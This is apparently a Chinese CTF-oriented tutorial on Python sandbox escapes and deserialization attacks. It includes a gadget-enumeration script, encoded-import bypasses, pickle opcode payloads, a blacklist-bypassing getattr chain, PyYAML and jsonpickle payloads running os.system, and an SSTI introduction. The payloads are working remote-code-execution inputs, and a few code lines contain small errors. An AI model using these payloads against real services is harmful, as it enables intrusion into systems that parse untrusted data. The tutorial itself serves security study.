# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
try:
more = sub()._module.__builtins__
for f in all_targets:
if f in more:
print(i, f)
except Exception as e:
pass
def python3(results):
find_modules=results
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(list(find_modules.keys()) + target_modules + target_functions))
all_modules = list(set(list(find_modules.keys()) + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
for f in all_targets:
if f == s:
if f in target_functions:
print(i, f)
elif f in all_modules:
target = find_modules[f]
sub_dict = subclasses[i].__dict__
for t in target:
if t in sub_dict:
print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['sys'].version
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__
for m in all_targets:
if m in more:
print(i, sub, m, find_modules.get(m))
except Exception as e:
pass
print('----------3-----------')
# 执行命令,此处如果使用原作者给的第三种利用代码在python3中会报错,python3中对于dict.values不再返回列表,而是返回view,不可索引的对象。
# 先要进入().__class__.__bases__[0].__subclasses__()[103].__init__.__globals__中找到__builtins__模块,然后执行后面的代码
# ().__class__.__bases__[0].__subclasses__()[103].__init__.__globals__['__builtins__']['eval']('__import__("os").system("whoami")')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__.values()
for j, v in enumerate(more):
for f in all_targets:
try:
if f in v:
if f in target_functions:
print(i, j, sub, f)
elif f in all_modules:
target = find_modules.get(f)
sub_dict = v[f].__dict__
for t in target:
if t in sub_dict:
print(i, j, sub, f, target)
except Exception as e:
pass
except Exception as e:
pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
for i, sub in enumerate(subclasses):
try:
more = sub()._module.__builtins__
for f in all_targets:
if f in more:
print(i, f)
except Exception as e:
pass
if __name__ == '__main__':
version= str(sys.version_info.major)+"."+str(sys.version_info.minor)
url="https://api.github.com/repos/python/cpython/contents/Lib?ref="+version
results = get_file_name(url)
if sys.version_info.major == 2:
python2(results)
else:
python3(results)

绕过限制

使用编码进行导入

# python2
test = __import__("pbzznaqf".decode('rot_13'))
print test.getoutput('ifconfig')
# python3
test = __import__(__import__("codecs").decode('bf','rot_13')) # python3没有commands模块
print(test.system('ifconfig'))

使用importlib

# python2
import importlib
test = importlib.import_module("pbzznaqf".decode('rot_13')
print test.getoutput('ifconfig')
# python3
import importlib
test = importlib.import_module(importlib.import_module("codecs").decode('bf','rot_13'))
print(test.system('ifconfig'))

内置函数被删除

在python中不用引入直接使用的内置函数称为builtin函数

__builtins__.__dict__['__import__']('os').system('whoami')

在python3.x 版本中__builtin__变成了builtins

__builtin__builtins在都需要import才可以用,但是__builtins__是内置的直接可以用

__builtin__来举例子,因此open()int()chr()这些函数,就相当于

__builtin__.open()
__builtin__.int()
__builtin__.chr()

如果我们把这些函数从__builtin__中删除,那么就不能够再直接使用了

┌──(root㉿kali)-[/home/kali/Desktop]
└─# python2
Python 2.7.18 (default, Jan 27 2022, 02:05:20)
[GCC 11.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import __builtin__
>>> __builtin__.chr(123)
'{'
>>> chr(123)
'{'
>>> del __builtin__.chr
>>> chr(123)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'chr' is not defined
>>> __builtin__.chr(123)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'chr'

众所周知evalexecexecfile也是在__builtin__中的,所以删除就不能用了,但是我们可以使用重加载函数reload()

>>> reload(__builtin__)
<module '__builtin__' (built-in)>
>>> chr(123)
'{'

reload也是__builtin__下面的函数,如果直接把它干掉,就没办法重新引入了

>>> del __builtin__.reload
>>> reload(__builtin__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'reload' is not defined

直接使用imp模块,这样我们就重新得到完整的__builtin__模块了

>>> import imp
>>> imp.reload(__builtin__)
<module '__builtin__' (built-in)>

部分模块被限制

服务器如果对Python的某些高风险模块如os进行了删除或修改权限设置,可能导致无法正常使用。但是sys没有限制,我们可以使用sys.modules来查看初始化就加载的模块

Python 2.7.18 (default, Jan 27 2022, 02:05:20) 
[GCC 11.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.modules
{'copy_reg': <module 'copy_reg' from '/usr/lib/python2.7/copy_reg.pyc'>,
'sre_compile': <module 'sre_compile' from '/usr/lib/python2.7/sre_compile.pyc'>,
'_sre': <module '_sre' (built-in)>,
'encodings': <module 'encodings' from '/usr/lib/python2.7/encodings/__init__.pyc'>,
'site': <module 'site' from '/usr/lib/python2.7/site.pyc'>,
'__builtin__': <module '__builtin__' (built-in)>,
'sysconfig': <module 'sysconfig' from '/usr/lib/python2.7/sysconfig.pyc'>,
'__main__': <module '__main__' (built-in)>,
'encodings.encodings': None,
'abc': <module 'abc' from '/usr/lib/python2.7/abc.pyc'>,
'posixpath': <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>,
'_weakrefset': <module '_weakrefset' from '/usr/lib/python2.7/_weakrefset.pyc'>,
'errno': <module 'errno' (built-in)>,
'encodings.codecs': None,
'sre_constants': <module 'sre_constants' from '/usr/lib/python2.7/sre_constants.pyc'>,
're': <module 're' from '/usr/lib/python2.7/re.pyc'>,
'_abcoll': <module '_abcoll' from '/usr/lib/python2.7/_abcoll.pyc'>,
'types': <module 'types' from '/usr/lib/python2.7/types.pyc'>,
'_codecs': <module '_codecs' (built-in)>,
'encodings.__builtin__': None,
'_warnings': <module '_warnings' (built-in)>,
'genericpath': <module 'genericpath' from '/usr/lib/python2.7/genericpath.pyc'>,
'stat': <module 'stat' from '/usr/lib/python2.7/stat.pyc'>,
'zipimport': <module 'zipimport' (built-in)>,
'_sysconfigdata': <module '_sysconfigdata' from '/usr/lib/python2.7/_sysconfigdata.pyc'>,
'warnings': <module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>,
'UserDict': <module 'UserDict' from '/usr/lib/python2.7/UserDict.pyc'>,
'glob': <module 'glob' from '/usr/lib/python2.7/glob.pyc'>,
'encodings.utf_8': <module 'encodings.utf_8' from '/usr/lib/python2.7/encodings/utf_8.pyc'>,
'sys': <module 'sys' (built-in)>,
'fnmatch': <module 'fnmatch' from '/usr/lib/python2.7/fnmatch.pyc'>,
'imp': <module 'imp' (built-in)>,
'codecs': <module 'codecs' from '/usr/lib/python2.7/codecs.pyc'>,
'readline': <module 'readline' from '/usr/lib/python2.7/lib-dynload/readline.x86_64-linux-gnu.so'>,
'_sysconfigdata_nd': <module '_sysconfigdata_nd' from '/usr/lib/python2.7/plat-x86_64-linux-gnu/_sysconfigdata_nd.pyc'>,
'os.path': <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>,
'_locale': <module '_locale' (built-in)>,
'sitecustomize': <module 'sitecustomize' from '/usr/lib/python2.7/sitecustomize.pyc'>,
'signal': <module 'signal' (built-in)>,
'traceback': <module 'traceback' from '/usr/lib/python2.7/traceback.pyc'>,
'linecache': <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>,
'posix': <module 'posix' (built-in)>,
'encodings.aliases': <module 'encodings.aliases' from '/usr/lib/python2.7/encodings/aliases.pyc'>,
'exceptions': <module 'exceptions' (built-in)>,
'sre_parse': <module 'sre_parse' from '/usr/lib/python2.7/sre_parse.pyc'>,
'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>,
'_weakref': <module '_weakref' (built-in)>}

如果我们修改掉os模块的路径,那么就无法使用了

>>> sys.modules['os']=None
>>> import os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> __import__('os')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> import importlib
>>> importlib.import_module('os')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "importlib/__init__.py", line 37, in import_module
__import__(name)
ImportError: No module named os

但是我们可以手动的在加上去

>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.pyc'
>>> import os

文件或者模块全被删除

最极端的方式就是os、sys、reload模块都被干掉了,usr等目录被限制了权限,那么我们就可以使用Python加载模块的先后顺序的方式

当前目录 -> sys.path列表中的其他目录

查看内容

Python 2.7.18 (default, Jan 27 2022, 02:05:20) 
[GCC 11.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['',
'/usr/lib/python2.7',
'/usr/lib/python2.7/plat-x86_64-linux-gnu',
'/usr/lib/python2.7/lib-tk',
'/usr/lib/python2.7/lib-old',
'/usr/lib/python2.7/lib-dynload',
'/usr/local/lib/python2.7/dist-packages',
'/usr/lib/python2.7/dist-packages',
'/usr/lib/python2.7/dist-packages']

只需要把文件上传到当前文件同级目录就可以直接import os使用

反序列化

将对象转换为可通过网络传输或可以存储到本地磁盘的数据格式(如:XML、JSON或特定格式的字节串)的过程称为序列化;反之,则称为反序列化。如果用户反序列化一些不改反序列化的东西,那么就会照成漏洞

模块名称 描述 提供的api
pickle 用于实现Python数据类型与Python特定二进制格式之间的转换 dumps()、dump()、loads()、load()
json 用于实现Python数据类型与通用(json)字符串之间的转换 dumps()、dump()、loads()、load()
shelve 专门用于将Python数据类型的数据持久化到磁盘,shelve是一个类似dict的对象,操作十分便捷 open()

能够利用的函数

pickle.loads
pickle.load
pickle.Unpickler # 像一个代理类一样,在序列化前进行处理,进行安全过滤之类的
cPickle.loads
cPickle.load
cPickle.Unpickler # 像一个代理类一样,在序列化前进行处理,进行安全过滤之类的
shelve.open
marshal.load
marshal.loads

pickle

序列化数据

# 文件
pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
# 字节流
pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)

反序列化数据

# 文件
pickle.load(file, *, fix_imports=True, encoding='ASCII', errors='strict', buffers=None)
# 字节流
pickle.loads(data, /, *, fix_imports=True, encoding='ASCII', errors='strict', buffers=None)

pickle.Unpickler像一个代理类一样,在序列化前进行处理,进行安全过滤之类的。

Python2标准库中有picklecPickle,Python3中只有前者。

pickle由于有不同的实现版本,目前有6个版本,但是pickle可以向下兼容(所以用v0就可以在所有版本中执行),目前pickle只有6个版本。

如果python2中的序列化文件如果想在python3中读取,需要修改编码

# 选定pickle版本
import pickle
a={'1': 1, '2': 2}
print(f'# 原变量:{a!r}')
for i in range(0,6):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
# python2读取文件
with open('data.pkl', 'rb') as f:
l = list(pickle.load(f))
# python3读取文件
with open('data.pkl', 'rb') as f:
u = pickle._Unpickler(f)
u.encoding = 'latin1'
p = u.load()

pickle允许任意对象通过定义__reduce__方法来声明它是如何被压缩的,一般来说这个方法是返回一个字符串或是一个元祖

__reduce__
被定义之后,当对象被Pickle时就会被调用
要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含25个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用
__reduce_ex__
首先查看是否存在__reduce_ex__,如果存在则不再查找__reduce__,不存在的话则继续查找__reduce__

编写漏洞代码__reduce__

import os
import pickle
class test(object):
def __reduce__(self):
return (os.system,('whoami',))
a=test()
payload=pickle.dumps(a)
print(payload)
pickle.loads(payload)

如果使用的是__reduce_ex__

import os
import pickle
class test(object):
def __init__(self, cmd):
self.cmd = cmd
def __reduce_ex__(self,cmd):
return (os.system,(self.cmd,))
a=test('whoami')
payload=pickle.dumps(a)
print(payload)
pickle.loads(payload)

其中pickle.loads是会解决import问题,对于未引入的module会自动尝试import。

比如说我们直接执行代码

import pickle;pickle.loads(b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02os\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.')

内置能够执行命令的函数

eval,execfile,compile,open,file,map,input,os.system,os.popen,os.popen2,os.popen3,os.popen4,os.open,os.pipe,os.listdir,os.access,os.execl,os.execle,os.execlp,os.execlpe,os.execv,os.execve,os.execvp,os.execvpe,os.spawnl,os.spawnle,os.spawnlp,os.spawnlpe,os.spawnv,os.spawnve,os.spawnvp,os.spawnvpe,pickle.load,pickle.loads,cPickle.load,cPickle.loads,subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,commands.getstatusoutput,commands.getoutput,commands.getstatus,glob.glob,linecache.getline,shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,dircache.listdir,dircache.opendir,io.open,popen2.popen2,popen2.popen3,popen2.popen4,timeit.timeit,timeit.repeat,sys.call_tracing,code.interact,code.compile_command,codeop.compile_command,pty.spawn,posixfile.open,posixfile.fileopen,platform.popen
opcode

不同的操作码对应不同的动作,接下来开始学习PVM是如何运作opcode的。我们需要知道的是:PVM引擎会识别opcode中不同的指令码,从而进行相应的操作。

import pickletools
data=b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02os\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
pickletools.dis(data)
name op params describe e.g.
MARK ( null 向栈顶push一个MARK
STOP . null 结束
POP 0 null 丢弃栈顶第一个元素
POP_MARK 1 null 丢弃栈顶到MARK之上的第一个元素
DUP 2 null 在栈顶赋值一次栈顶元素
FLOAT F F [float] push一个float F1.0
INT I I [int] push一个integer I1
NONE N null push一个None
REDUCE R [callable] [tuple] R 调用一个callable对象 crandom\nRandom\n)R
STRING S S [string] push一个string S ‘x’
UNICODE V V [unicode] push一个unicode string V ‘x’
APPEND a [list] [obj] a 向列表append单个对象 ]I100\na
BUILD b [obj] [dict] b 添加实例属性(修改__dict__ cmodule\nCls\n)R(I1\nI2\ndb
GLOBAL c c [module] [name] 调用Pickler的find_class,导入module.name并push到栈顶 cos\nsystem\n
DICT d MARK [[k] [v]…] d 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 (I0\nI1\nd
EMPTY_DICT } null push一个空dict
APPENDS e [list] MARK [obj…] e 将栈顶MARK以前的元素append到前一个的list ](I0\ne
GET g g [index] 从memo获取元素 g0
INST i MARK [args…] i [module] [cls] 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class (S’ls’\nios\nsystem\n
LIST l MARK [obj] l 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 (I0\nl
EMPTY_LIST ] null push一个空list
OBJ o MARK [callable] [args…] o 同INST,参数获取方式由readline变为stack.pop而已 (cos\nsystem\nS’ls’\no
PUT p p [index] 将栈顶元素放入memo p0
SETITEM s [dict] [k] [v] s 设置dict的键值 }I0\nI1\ns
TUPLE t MARK [obj…] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0\nI1\nt
EMPTY_TUPLE ) null push一个空tuple
SETITEMS u [dict] MARK [[k] [v]…] u 将栈顶MARK以前的元素弹出update到前一个dict }(I0\nI1\nu

image-20220509001219887

三种常见的操作符R(可以执行命令)、i(可以执行命令)、o(可以执行命令),还有一些不常见的c(可以进行变量覆盖)、b(可以执行命令)等,三种常见的如下

GLOBAL('os', 'system')             =>  cos\nsystem\n
INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no

R操作符

import os
import pickle
import pickletools

class Evil():
def __reduce__(self):
return (os.system, ('whoami',))
print(pickle.dumps(Evil(),protocol=0)) # protocol表示协议版本
pickletools.dis(pickle.dumps(Evil(),protocol=0))

输入的内容如下

b'cos\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
0: c GLOBAL 'os system'
11: p PUT 0
14: ( MARK
15: V UNICODE 'whoami'
23: p PUT 1
26: t TUPLE (MARK at 14)
27: p PUT 2
30: R REDUCE
31: p PUT 3
34: . STOP
highest protocol among opcodes = 0

可以看见opcode第一行导入的是一个os system,这是Linux上的。如果想要在Windows上面使用的话,就得导入nt system模块。如果要避免这种限制需要使用通过AST来构造opcode。下载 备份

# text.txt
# 重载了__import__ os,不然如果使用安全函数是无法自动导入包的
os = GLOBAL('__builtin__', '__import__')('os')
system = GLOBAL('__builtin__', 'getattr')(os, 'system')
system('whoami')
return

输入命令python3 pker.py < text.txt即可生成

b"c__builtin__\n__import__\n(S'os'\ntRp0\n0c__builtin__\ngetattr\n(g0\nS'system'\ntRp1\n0g1\n(S'whoami'\ntR."

利用pickletools.dis()转换一下

    0: c    GLOBAL     '__builtin__ __import__'
24: ( MARK
25: S STRING 'os'
31: t TUPLE (MARK at 24)
32: R REDUCE
33: p PUT 0
36: 0 POP
37: c GLOBAL '__builtin__ getattr'
58: ( MARK
59: g GET 0
62: S STRING 'system'
72: t TUPLE (MARK at 58)
73: R REDUCE
74: p PUT 1
77: 0 POP
78: g GET 1
81: ( MARK
82: S STRING 'whoami'
92: t TUPLE (MARK at 81)
93: R REDUCE
94: . STOP
highest protocol among opcodes = 0

上面内容简化下就和上面第一个结构体一样

cos
system
(S'whoami'
tR.

pker语句就是

# 未使用安全重载语句的代码会自动import os这个包,所以不需要__builtin__.__import__ 去导入
system = GLOBAL('os', 'system')
system('whoami')

i操作符

pker语句

INST('os', 'system', 'whoami')

结构体

(S'whoami'
ios
system
.

o操作符

pker语句

OBJ(GLOBAL('os', 'system'), 'whoami') 

结构体

(cos
system
S'whoami'
o.

上面这三种都是直接去调用os模块,没有用__builtin__.__import__ 去导入,这是因为上面已经提到了pickle.loads会解决import问题,整个python标准库的模块函数均可以使用。

c操作符

其实c操作符是基于find_class(moudle, name)来实现的,find_class()函数实现的功能简单来说就是:去moudle模块中找到name,然后对内存原始的数据进行覆盖。但是需要注意的是,moudle必须在name的顶层。

举个🌰

# secret.py
name = 'jnzm4x8vgb'
flag = 'flag{cnqbio0yxa9htwkev61ps}'
sign = 'gy3z9urcn2as7f05ot8b'
# c_flag.py
import pickle
import secret
import base64

class pickle_test:
def __init__(self,name,sign):
self.name = name
self.sign = sign
def __eq__(self, other):
return type(other) is pickle_test and self.name == other.name and self.sign == other.sign

ser = base64.b64decode(input("input:"))
print(ser)
# 过滤R操作符,防止危险函数
if b'R' in ser:
exit()
else:
result = pickle.loads(ser)
correct = ((result == pickle_test(secret.name, secret.sign)))
if correct:
print(secret.flag)

直接使用pkel进行生成

admin = GLOBAL('__main__', 'secret')
admin.name = "test_name"
admin.sign = "123456"
pickle_test = INST('__main__', 'pickle_test','test_name','123456')
return pickle_test

然后把结果进行base64下,必须使用python的来编码,因为数据类型是字节类型,网页上的是字符型编码

import base64
import pickletools
code=b"c__main__\nsecret\np0\n0g0\n(}(S'name'\nS'test_name'\ndtbg0\n(}(S'sign'\nS'123456'\ndtb(S'test_name'\nS'123456'\ni__main__\npickle_test\np3\n0g3\n."
#print(pickletools.dis(code))
a=base64.b64encode(code)
print(a)

image-20221004221948876

b操作符

对已有的一个类使用__setstate__()方法进行覆盖

当解封时,如果类定义__setstate__(),就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 dict

如果一个类(暂且称之为Test),它原先是没有定义__setstate__方法的,如果我们现在使用{"__setstate__": os.system}这个字典来初始化test类的对象(b操作符),现在这个对象便具有了__setstate__方法,之后我们再把待执行的命令作为参数(以whoami为例),再次使用b操作符来执行BUILD指令,由于此时对象存在__setstate__方法,所以便会执行os.system('whoami'),成功实现了RCE。

构建代码

import pickletools
import pickle
class Test:
def __init__(self):
pass
date = b'c__main__\nTest\n)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
pickletools.dis(date)
pickle.loads(date)

然后返回结果如下,必须有一个类可以使用,并且没有使用__setstate__

    0: c    GLOBAL     '__main__ Test'
15: ) EMPTY_TUPLE
16: \x81 NEWOBJ
17: } EMPTY_DICT
18: ( MARK
19: V UNICODE '__setstate__' # 引入__setstate__
33: c GLOBAL 'os system' # 利用c操作码来引入os.system
44: u SETITEMS (MARK at 18)
45: b BUILD # 执行一次BUILD
46: V UNICODE 'whoami' # 引入命令
54: b BUILD # 再次执行一次,因为已经纯在设置好的__setstate__,所以会照成命令执行
55: . STOP
highest protocol among opcodes = 2
ascotbe # 命令执行结果

重写find_class():不一定绝对安全

官方给出的安全反序列化是继承了pickle.Pickler类,并重载了find_class方法,父类原本的操作是把module导入sys.module缓存中(并未导入全局或局部作用域),然后getattr取值,所以重载该方法后即可对module和name进行限制,但find_class的限制仅仅是对该函数参数过滤,并没有hook __import__等函数,所以通过eval('__import__(\'xx\')')等即可绕过。

下面的例子来自于python官方文档,通过白名单来现在函数运行:

import builtins
import io
import pickle

safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

而我们做题一般都是遇到使用黑名单来操作的

import pickle
import io
import builtins


class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
if module == 'builtins' and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError(
"global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

restricted_loads(b"")

题目并没有过滤getattr,我们可以通过该方法来获取到builtins下的eval等危险函数,一个常规的思路就是getattar(builtins, 'eval'),利用之前类继承方式来执行代码即可(魔术函数)

b"cbuiltins\ngetattr\n(cbuiltins\ndict\nVget\ntR(cbuiltins\nglobals\n(tRVbuiltins\ntRp1\ncbuiltins\ngetattr\n(g1\nVeval\ntR(V__import__('os').system('whoami')\ntR."

PyYAML

yaml本身支持强制类型转化,强制转化为str类型就是!!str,五个功能强大的yaml标签,支持转化为指定的python模块,类,方法以及对象实例

!!python/object/new:module.cls	# module.cls instance  # 能够直接执行命令 
!!python/object/apply:module.f # value of f(...) # 能够直接执行命令
!!python/name:module.name # module.name # 需要特定条件才可以执行命令
!!python/module:package.module # package.module # 需要特定条件才可以执行命令
!!python/object:module.cls # module.cls instance # 需要特定条件才可以执行命令
PyYAML<=5.1

序列化数据

load(data)  # 加载单个YAML配置,作用是将yaml类型数据转化为python对象包括自定义的对象实例、字典、列表等类型数据
load(data, Loader=yaml.Loader) # 指定加载器有BaseLoader、SafeLoader
load_all(data) # 加载多个YAML配置
load_all(data, Loader=yaml.Loader) # 指定加载器

Loader就是用来指定加载器

  • BaseConstructor:最最基础的构造器,不支持强制类型转换
  • SafeConstructor:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改
  • Constructor:在 YAML 规范上新增了很多强制类型转换(5.1以下默认此加载器,很危险)

反序列化数据

dump(data)  # 接收的参数就是python对象包括对象实例、字典、列表等类型数据
五个complex标签的利用

!!python/object/apply

进入yaml模块源码yaml/constructor.py中,最终进入了find_python_name方法,通过__import__将模块导入进来。

yaml.load("!!python/object/apply:os.system [whoami]")  # 命令的单双引号加不加都可以

yaml.load("""
!!python/object/apply:os.system
- whoami
""")

yaml.load("""
!!python/object/apply:os.system
args: ["whoami"]
""")

!!python/object/new

原理跟上面一样,最终进入了find_python_name方法,通过__import__将模块导入进来

yaml.load("!!python/object/new:os.system [whoami]")

yaml.load("""
!!python/object/new:os.system
- whoami
""")

yaml.load("""
!!python/object/new:os.system
args: ["whoami"]
""")

!!python/object、!!python/module、!!python/name

这三个不能直接执行命令的标签,条件允许其实有其他办法,比如利用现有文件上传或者写文件的功能,传入一个写入命令执行代码的文件。比如说同级目录下面有两个文件(同一个文件内用法同理)

# yaml_test.py
import os
os.system('whoami')

另一个文件里面

import yaml

yaml.load("!!python/module:yaml_test" )
# 下面两条exp方法是随意写的,是不存在的,但必须要有,因为这是命名规则,不然会报错,主要是文件名yaml_test要写对。会执行但是执行完会报错。
yaml.load("!!python/object:yaml_test.exp" )
yaml.load("!!python/name:yaml_test.exp" )

当然!!python/object/new!!python/object/apply也可以用这种方式实现利用,同理会执行但是执行完会报错。

yaml.load('!!python/object/apply:yaml_test.exp {}' )
yaml.load('!!python/object/new:yaml_test.exp {}' )

如果不在同一目录下

├── test_file.py
└── uploads
└── yaml_test.py

修改下payload,在文件名前加入目录名可

#经过测试只有modle标签可行
yaml.load("!!python/module:uploads.yaml_test" )

!!python/object/new!!python/object/apply加个目录即可

#exp表示着类实例,可以写成其他,虽不存在但是一定要有,否则报错
yaml.load('!!python/object/apply:uploads.exp {}' )
yaml.load('!!python/object/new:uploads.exp {}' )
PyYAML>5.1

这个版本中更新了一下方法,截止文章编写时PyYAML的最新版本为6,POC都可以使用

load(data) [works under certain conditions]
load(data, Loader=Loader)
load(data, Loader=UnsafeLoader)
load(data, Loader=FullLoader)
load_all(data) [works under certain condition]
load_all(data, Loader=Loader)
load_all(data, Loader=UnSafeLoader)
load_all(data, Loader=FullLoader)
full_load(data)
full_load_all(data)
unsafe_load(data)
unsafe_load_all(data)

在5.1之后的yaml中load函数被限制使用了,会被警告提醒加上一个参数 Loader

test.py:3: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https:

针对不同的需要,选择不同的加载器,有以下几种加载器

  • BaseConstructor:仅加载最基本的YAML
  • SafeConstructor:安全加载Yaml语言的子集,建议用于加载不受信任的输入(safe_load)
  • FullConstructor:加载的模块必须位于 sys.modules 中(说明程序已经 import 过了才让加载)。这个是默认的加载器。
  • UnsafeConstructor(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
  • Constructor:等同于UnsafeConstructor

Fullloader加载模式的对漏洞利用的限制

  1. 如果不执行只是为了单纯导入模块,那么需要sys.modules字典中有我们的模块,否则报错

    yaml.constructor.ConstructorError: while constructing a Python object
    module 'subprocess' is not imported
  2. 如果要执行,那么sys.modules字典中要有利用模块,并且加载进来的 module.name 必须是一个类而不能是方法,否则就会报错

    yaml.constructor.ConstructorError: while constructing a Python instance
    expected a class, but found <class 'builtin_function_or_method'>

说人话就是:不在能够自动通过__import__将模块导入进来,需要使用内置函数或魔术函数方式来使用

那我们直接构造

# tuple(map(eval, ["__import__('os').system('whoami')"]))
# 变为yaml就是payload_1
# payload_1
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""",Loader=yaml.Loader)

# 创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
# payload_2
yaml.load("""
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"
""",Loader=yaml.Loader)

# 报错但是执行了
# payload_3
yaml.load("""
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
""",Loader=yaml.Loader)
# payload_4
yaml.load("""
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
""",Loader=yaml.Loader)

Jsonpickle

用于将任意对象序列化为JSON的Python库。Jsonpickle可以使用几乎所有Python对象并将该对象转换为JSON。另外,它可以将对象重新构造回Python。

import jsonpickle
class EXP(object):
def __reduce__(self):
return (__import__('os').system, ('whoami',))
poc = jsonpickle.encode(EXP()) # 把实例化的类转换成json数据
print(poc)

然后直接调用decode()函数来执行即可

jsonpickle.decode("""{"py/reduce": [{"py/function": "os.system"}, {"py/tuple": ["whoami"]}]}""")

Marshal

由于pickle不能序列化code对象,所以在python2.6后新增marshal来处理code对象的序列化。

这个包没办法直接执行命令,需要多方函数配合,有点鸡肋

如果直接dumps一个函数后然后再loads是没办法执行的,而是需要用到了 Python 的一个面向对象的特性,Python 能通过 types.FunctionTyle(func_code,globals(),'')() 来动态地创建匿名函数

import pickle,base64
import marshal
import types
def foo():
def fib(n):
if n <= 2:
return n
return fib(n-1) + fib(n-2)
print (fib(5))
try:
pickle.dumps(foo.__code__)
except Exception as e:
print(e)
code_serialized = base64.b64encode(marshal.dumps(foo.__code__))
code_unserialized = marshal.loads(base64.b64decode(code_serialized)) # 到这边都没发执行
code_unserialized = types.FunctionType(code_unserialized, globals(), '')() # 动态构造后才可以执行

如果需要执行需要配合pickle.loads()函数,和opcode打组合拳来实现

Shelve

太垃圾了,类似序列化一个函数一个定位的坐标,然后反序列化的时候加载这个坐标然后执行代码,必须要文件中有的代码才可以执行。相关的函数shelve.open()

SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection)漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

推荐一个项目:https://github.com/epinna/tplmap

Jinja2

